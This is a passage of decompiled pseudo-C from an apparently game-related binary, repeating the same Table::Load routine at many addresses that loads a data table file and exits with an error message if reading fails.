[bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057E5D0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057E730) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057E890) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057E9F0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057EB50) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057ECB0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057EE10) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057EF70) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057F0D0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057F230) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057F390) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057F4F0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057F650) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057F7B0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057F910) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057FA70) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 